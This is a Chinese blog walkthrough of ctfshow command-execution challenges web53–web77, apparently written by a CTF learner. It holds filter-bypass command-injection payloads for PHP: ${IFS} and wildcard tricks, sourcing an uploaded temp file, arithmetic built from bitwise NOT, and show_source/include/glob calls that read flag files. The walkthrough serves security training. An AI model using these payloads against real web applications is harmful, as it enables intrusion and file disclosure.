ctfshow web入门 命令执行 web53--web77

04-06 阅读 0评论

web53

ctfshow web入门 命令执行 web53--web77ctfshow web入门 命令执行 web53--web77日常查看文件

怎么回事不让我看十八

ctfshow web入门 命令执行 web53--web77弄了半天发现并不是很对劲,原来我发现他会先回显我输入的命令再进行命令的回显

?c=nl${IFS}fla''g.php||

ctfshow web入门 命令执行 web53--web77

web54

ctfshow web入门 命令执行 web53--web77绕过了很多东西

基本上没有什么命令可以用了但是

grep和?通配符还可以用

?c=grep${IFS}ctfshow${IFS}????????

ctfshow web入门 命令执行 web53--web77ctfshow web入门 命令执行 web53--web77参考上图

为什么是8个?,因为flag.php是八个

web55

ctfshow web入门 命令执行 web53--web77ctfshow web入门 命令执行 web53--web77?c=/???/????64 ????.???

意位?c=/bin/base64 flag.php

然后base64解密,得到ctfshow{62eb1c44-c58a-4e7f-8a7d-a8875fa1c9d1}

web56

ctfshow web入门 命令执行 web53--web77

数字也被绕过了

这道题一点思路也没有,查看wp,先新建一个网页

test-fileupdown.html



    
    
    POST文件上传



    
    文件名:
    
#自己靶机的url哪里必须改,不然的话怎么抓都不行

ctfshow web入门 命令执行 web53--web77利用上传的文件执行命令

先随便写一个txt文件

i love you

改成whoami,看看有没有回显,www-data就是有

ctfshow web入门 命令执行 web53--web77然后看目录

ctfshow web入门 命令执行 web53--web77看flag

ctfshow web入门 命令执行 web53--web77这道题有个最重要的点就是

传POST

/?c=.%20/???/???[@-[]

web57

ctfshow web入门 命令执行 web53--web77那么要查看36.php

只需要构造出36,如何构造36呢,取反运算符就可以

先理清楚思路

$(())=0
$((~$(())))=-1
~(-37)=36
~a=-(a+1)
$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))=-6
$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))=-37

再取反就行

36=$((~$(($(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))))

ctfshow web入门 命令执行 web53--web77到手

web58

ctfshow web入门 命令执行 web53--web77

POST 传一个c然后PHP执行

c=show_source("flag.php");

这道题很逆天,查看目录的命令什么的都别过滤了

但是还是补充一下吧

查看文件
file_get_contents('filename.txt');
show_source("flag.php");
查看目录
scandir('/');
readdir('/');
opendir('/');
glob('/');

web59

ctfshow web入门 命令执行 web53--web77

和刚才的基本一模一样

c=show_source("flag.php");

ctfshow web入门 命令执行 web53--web77

web59–web65

如web58同样做法,套娃

web66

show_source和highlight_file都被屏蔽了

ctfshow web入门 命令执行 web53--web77看不到,加个/,在根目录里面找就行

web67

ctfshow web入门 命令执行 web53--web77

c=highlight_file('/flag.php');

ctfshow web入门 命令执行 web53--web77最大的可能改成txt

c=highlight_file('/flag.txt');

ctfshow web入门 命令执行 web53--web77

web 68

ctfshow web入门 命令执行 web53--web77看不到源码 那就换一个

include

c=include('/flag.txt');

ctfshow web入门 命令执行 web53--web77

web 69

同上题

web 70

ctfshow web入门 命令执行 web53--web77c=include ('flag.txt');

ctfshow web入门 命令执行 web53--web77

web71

ctfshow web入门 命令执行 web53--web77c=include ('/flag.txt'); 给我乱跳东西

ctfshow web入门 命令执行 web53--web77

会将字母数字用?替换

用include查看文件并且用exit();避免后续文件执行

ctfshow web入门 命令执行 web53--web77c=include ('/flag.txt');exit();

web72

ctfshow web入门 命令执行 web53--web77ctfshow web入门 命令执行 web53--web77本来想include白嫖的但是include打开不了

这里利用一个glob的php代码来读取文件看看文件目录

下面这种是最保险的了

c=?>

ctfshow web入门 命令执行 web53--web77看到有个flag0.txt

ctfshow web入门 命令执行 web53--web77还是看不了,得用脚本看

在open_basedir之外得用脚本uaf进行查看

c=


免责声明
本网站所收集的部分公开资料来源于AI生成和互联网,转载的目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。
文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

发表评论

快捷回复: 表情:
评论列表 (暂无评论,人围观)

还没有评论,来说两句吧...

目录[+]